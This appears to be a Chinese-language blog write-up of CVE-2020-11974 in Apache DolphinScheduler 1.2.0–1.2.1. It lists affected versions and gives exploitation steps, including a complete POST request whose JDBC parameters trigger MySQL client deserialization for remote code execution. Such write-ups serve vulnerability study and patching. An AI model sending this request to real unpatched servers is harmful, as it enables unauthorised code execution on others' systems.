Apache DolphinScheduler远程代码执行(CVE-2020-11974)

Apache DolphinScheduler组件介绍

​ Apache DolphinScheduler(incubator,原EasyScheduler)是一个分布式工作流任务调度系统,主要解决数据研发ETL错综复杂的依赖关系,不能直观监控任务健康状态。DolphinScheduler以DAG流式的方式将Task组装起来,可实时监控任务的运行状态,同时支持重试、从指定节点恢复失败、暂停及Kill任务等操作。

漏洞描述

​ CVE-2020-11974与mysql connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过jdbc connect参数输入{“detectCustomCollations”:true,“autoDeserialize”:true} 在DolphinScheduler 服务器上远程执行代码。

影响版本

受影响版本
Apache DolphinScheduler = 1.2.0、1.2.1

安全版本
Apache DolphinScheduler >= 1.3.1

漏洞利用

需要登陆权限

该漏洞存在于数据源中心未限制添加的jdbc连接参数,从而实现JDBC客户端反序列化。

1、登录到面板 -> 数据源中心。

image-20200917170923674

2、jdbc连接参数就是主角,这里没有限制任意类型的连接串参数。

image-20200917170947012

3、将以下数据添加到jdbc连接参数中,就可以直接触发。

image-20200917171000453

POST /dolphinscheduler/datasources/connect HTTP/1.1

type=MYSQL&name=test&note=&host=127.0.0.1&port=3306&database=test&
principal=&userName=root&password=root&connectType=&
other={"detectCustomCollations":true,"autoDeserialize":true}

关于MySQL JDBC客户端反序列化漏洞的相关参考:

https://www.anquanke.com/post/id/203086

Author

ol4three

Posted on

2020-09-17

Updated on

2021-03-03

Licensed under


Comments